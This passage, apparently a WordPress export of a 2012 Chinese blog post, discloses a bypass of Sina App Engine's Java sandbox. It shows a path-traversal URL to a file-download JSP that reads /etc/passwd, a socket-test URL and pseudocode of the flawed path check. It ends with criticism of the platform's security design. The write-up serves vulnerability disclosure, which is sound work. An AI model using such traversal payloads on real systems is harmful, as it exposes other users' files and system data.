\u8fd8\u662f\u524d\u51e0\u7bc7\u6587\u7ae0\u4e13\u7528\u7684\u4ee3\u7801\uff0c\u6240\u4ee5\u672c\u6587\u5c31\u4e0d\u518d\u6b21\u8d34\u51fa\u6765\u4e86\uff0c\u76f4\u63a5\u770b\u7ed3\u679c\uff1a<\/p>\n
![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass41.png\" "\\"saebypass41\\"")
<\/a><\/p>\n\u8fde\u63a5socket\u6d4b\u8bd5<\/strong><\/p>\n
http:\/\/2.javasandboxtest.sinaapp.com\/socket.jsp?host=inbreak.net&port=80&page=\/<\/p>\n
![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass42.jpg\" "\\"saebypass42\\"")
<\/a><\/p>\n\u8bfb\u6587\u4ef6\u6d4b\u8bd5<\/strong><\/p>\n
![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass43.jpg\" "\\"saebypass43\\"")
<\/a><\/p>\n![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass44.jpg\" "\\"saebypass44\\"")
<\/a>![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass46.jpg\" "\\"saebypass46\\"")
<\/a><\/p>\n\u8fd9\u662f\u53ef\u4ee5\u8bfb\u7684\uff0c\u8fd9\u8bf4\u660e\u8def\u5f84\uff1a<\/p>\n
\u5f00\u59cbbypass<\/strong><\/p>\n
\u8bfb\u53d6\/etc\/passwd\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n
\r\nhttp:\/\/3.javasandboxtest.sinaapp.com\/down.jsp?filename=\/data1\/jetty_work\/84\/javasandboxtest\/jetty-0.0.0.0-10168-javasandboxtest.war-_3_javasandboxtest-any-\/webapp\/..\/..\/..\/..\/..\/..\/etc\/passwd\r\n<\/pre>\n\u4e00\u6b21\u6210\u529f\uff01\u8fd9\u79cd\u4e1c\u897f\u771f\u7684\u548c\u8fd0\u6c14\uff0c\u6709\u5f88\u5927\u7684\u5173\u7cfb\uff01
\n![\"\"](\"http:\/\/inbreak.net\/wp-content\/uploads\/2012\/08\/saebypass47.jpg\" "\\"saebypass47\\"")
<\/a><\/p>\n
\r\nIf (XXXX.startwith(\/data1\/jetty_work\/84\/javasandboxtest\/jetty-0.0.0.0-10168-javasandboxtest.war-_3_javasandboxtest-any-\/webapp))\r\n{\r\n\tReturn true;\r\n}\r\n<\/pre>\n\u8fd9\u79cd\u6f0f\u6d1e\uff0c\u672c\u6765\u5c31\u662f\u4e2a\u7ecf\u5178\u7684\u6587\u4ef6\u4e0b\u8f7d\u6f0f\u6d1e\u4ee3\u7801\uff0c\u4f46\u662f\u653e\u5230\u6c99\u76d2\u91cc\uff0c\u5374\u5bfc\u81f4\u4e86\u6c99\u76d2\u88ab\u7ed5\u8fc7\u3002\u73b0\u5728\u6211\u4eec\u53c8\u53ef\u4ee5\u8bfb\u53d6\u4e91\u4e0a\u7528\u6237\u7684\u6587\u4ef6\u4e86\u3002<\/p>\n
\u5173\u4e8e\u6c99\u76d2\u4e0eJSP\u7a7a\u95f4\u53cb\u597d\u6027\u7684\u95ee\u9898<\/strong><\/p>\n
\u6211\u4eec\u77e5\u9053JAVA\u7684web\u5e94\u7528\uff0c\u53ea\u6709jsp\u548cservlet\u7684\u65f6\u4ee3\uff0c\u5df2\u7ecf\u4e0d\u5b58\u5728\u4e86\uff0c\u65e0\u8bba\u54ea\u4e2a\u5e94\u7528\uff0c\u591a\u5c11\u90fd\u4f1a\u6709JAVA\u6846\u67b6\u7684\u5f71\u5b50\uff0c\u6bd4\u5982struts\u3001spring\u7b49\u7b49\u3002\u6846\u67b6\u672c\u8eab\u7684\u5b9e\u73b0\uff0c\u7ecf\u5e38\u4f1a\u6d89\u53ca\u5230getClassLoader\u7b49\u7b49\u64cd\u4f5c\uff0c\u73b0\u5728SAE\u9650\u5236\u4e86\u8fd9\u4e2a\u4e1c\u897f\uff0c\u4f5c\u8005\u5bf9STRUTS2\u5e94\u7528\uff0c\u80fd\u5426\u5728SAE\u4e0a\u8dd1\u8d77\u6765\uff0c\u8868\u793a\u7591\u95ee\u3002\u4e3a\u6b64\uff0c\u4f5c\u8005\u4e13\u95e8\u4e0a\u4f20\u4e86struts\u7684\u5b98\u65b9showcase\u4e0a\u53bb\u3002
\n\u7ed3\u679c\u8fd4\u56de503\u9519\u8bef\uff0c\u4e0d\u53ef\u7528\u3002<\/p>\n
\u603b\u7ed3<\/strong><\/p>\n
\u5373\u4f7f\u662f\u975e\u5e38\u7b80\u5355\u7684STRUTS2\u5e94\u7528\u90fd\u4e0d\u53ef\u7528\uff0c\u8fd8\u6709\u5f88\u591a\u5176\u4ed6\u6846\u67b6\uff0c\u4e5f\u90fd\u6709\u81ea\u5df1\u64cd\u4f5cclassLoader\u7684\u60c5\u51b5\uff0c\u5982\u679c\u4e0d\u652f\u6301JAVA\u6846\u67b6\uff0c\u8fd9\u6837\u7684SAE\uff0c\u8fd8\u6709\u5565\u5b58\u5728\u7684\u4ef7\u503c\u5462\uff1f\u6240\u4ee5\u8fd9\u4e9b\u6743\u9650\uff0c\u4e0d\u6b62\u7b80\u5355\u7684\u7981\u6b62\u4e86\u4e8b\uff0c\u5b83\u540e\u9762\u8fd8\u6709\u5f88\u591a\u4e1c\u897f\u8981\u505a\u3002\u6ca1\u6709\u53ef\u7528\u6027\u7684\u5b89\u5168\uff0c\u4e0d\u662f\u771f\u7684\u5b89\u5168\uff0c\u8fd9\u6837\u7684\u5b89\u5168\u5904\u7406\u65b9\u6848\uff0c\u65e9\u665a\u8981\u5728\u4e1a\u52a1\u7684\u538b\u529b\u4e0b\u6d88\u5931\u4e0d\u89c1\uff0c\u8981\u4fdd\u8bc1\u53ef\u7528\u6027\uff0c\u4e5f\u8981\u4fdd\u8bc1\u5b89\u5168\uff0c\u8fd9\u624d\u662f\u771f\u6b63\u7684\u5b89\u5168\u3002\u6240\u4ee5\uff0c\u5750\u7b49SAE\u5bf9classLoader\u7684\u9650\u5236\u6d88\u5931\uff0c\u4e00\u5207\u56de\u5f52\u4e8e0\u3002<\/p>\n
\u6700\u597d\u7684\u529e\u6cd5\uff0c\u662f\u5bf9\u63a5\u7ba1JAVA\u539f\u751f\u5b89\u5168\u9a8c\u8bc1\u8fd9\u90e8\u5206\u4ee3\u7801\uff0c\u505a\u4e00\u6b21\u6574\u4f53\u7684revuew\uff0c\u5728\u4ee3\u7801\u65e0\u6cd5\u4fdd\u8bc1\u5b89\u5168\u4e4b\u524d\uff0c\u5c31\u53bb\u63a5\u7ba1\u66f4\u52a0\u5b89\u5168\u7684\u4e1c\u897f\uff0c\u8fd9\u672c\u8eab\u5c31\u662f\u4e00\u79cd\u5b89\u5168\u9690\u60a3\u4e86\uff0c\u8c01\u6562\u8bb2\u81ea\u5df1\u5199\u7684\u4ee3\u7801\uff0c\u4e00\u5b9a\u6bd4SUN\uff08\u5199\u6c99\u76d2\u7684\u65f6\u5019\uff0c\u8fd8\u6ca1\u5230oracle\uff09\u90a3\u5e2e\u4eba\u66f4\u5b89\u5168\uff0c\u66f4\u5065\u58ee\uff1f<\/p>\n
\u5176\u5b9e\u6c99\u76d2\u7ed5\u8fc7\u6280\u672f\uff0c\u4f5c\u8005\u4e5f\u662f\u7b2c\u4e00\u6b21\u73a9\uff0c\u6bcf\u6b21\u4e00\u5b9a\u8981\u7b49SAE\u4fee\u8865\u4e4b\u540e\uff0c\u624d\u4f1a\u6709\u65b0\u7684\u529e\u6cd5\u51fa\u73b0\uff0cSAE\u80af\u5b9a\u5e0c\u671b\u6211\u4e00\u6b21\u6027\uff0c\u628a\u6240\u6709\u7ed5\u8fc7\u7684\u65b9\u6cd5\u90fd\u7ed9\u51fa\u6765\uff0c\u4f46\u662f\u95ee\u9898\u662f\u8fd8\u6ca1\u505a\u597d\u9632\u5fa1\uff0c\u8c08\u4f55\u653b\u51fb\u5462\uff1f\u5efa\u8bae\u5bf9SAE\u7684\u4ee3\u7801\uff0c\u505a\u4e00\u6b21\u6574\u4f53\u7684review\uff0c\u5c24\u5176\u662f\u63a5\u7ba1JAVA\u6c99\u76d2\u8ba4\u8bc1\u8fd9\u5757\uff0c\u76f8\u4fe1\u8fd8\u6709\u66f4\u52a0\u4e25\u91cd\u7684\u6f0f\u6d1e\u5728\u91cc\u9762\uff0c\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u53ea\u6709\u7531\u5b89\u5168\u4eba\u5458\u4e00\u884c\u4e00\u884c\u770b\u4e86\uff0c\u5982\u679cSAE\u8db3\u591f\u5f00\u653e\uff0c\u5efa\u8bae\u76f4\u63a5\u5f00\u6e90\u51fa\u6765\uff0c\u8fd9\u53ef\u4ee5\u66f4\u52a0\u5f00\u653e\u7684\u5f97\u5230\u5b89\u5168\u4fe1\u606f\u3002
\nby \u7a7a\u865a\u6d6a\u5b50\u5fc3 http:\/\/inbreak.net \u5fae\u535a\uff1ahttp:\/\/t.qq.com\/javasecurity<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8c22\u5404\u4f4d\u6367\u573a\uff0c\u5df2\u7ecf\u6253\u5230\u7b2c\u56db\u5173\u4e86\u3002\u7ecf\u8fc7\u51e0\u6b21\u4ea4\u6d41\uff0c\u53d1\u73b0SAE\u7684\u7ae5\u978b\u5bf9\u5b89\u5168\u5f88\u91cd\u89c6\uff0c\u800c\u4e14\u6301\u201c\u6b22\u8fce\u6765\u641e\u201d\u7684\u6001\u5ea6\uff0c\u5bf9\u8fd9\u6837\u7684\u6001\u5ea6\uff0c\u7ed9\u4e88\u80af\u5b9a\uff0c\u6709\u4e86\u8fd9\u6837\u7684\u6001\u5ea6\uff0c\u4f5c\u8005\u624d\u6709\u4e86\u7ee7\u7eed\u4e0b\u53bb\u7684\u6b32\u671b\uff0c\u6211\u4eec\u90fd\u76f8\u4fe1SAE\u6700\u7ec8\u4f1a\u53d8\u5f97\u8d8a\u6765\u8d8a\u5b89\u5168\u3002<\/p>\n
\u7ee7\u7eed\u9605\u8bfb ยป<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84,86,5],"tags":[14,101,107,99,103,108,105],"views":11768,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/436"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=436"}],"version-history":[{"count":5,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/436\/revisions"}],"predecessor-version":[{"id":449,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/436\/revisions\/449"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=436"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=436"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=436"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}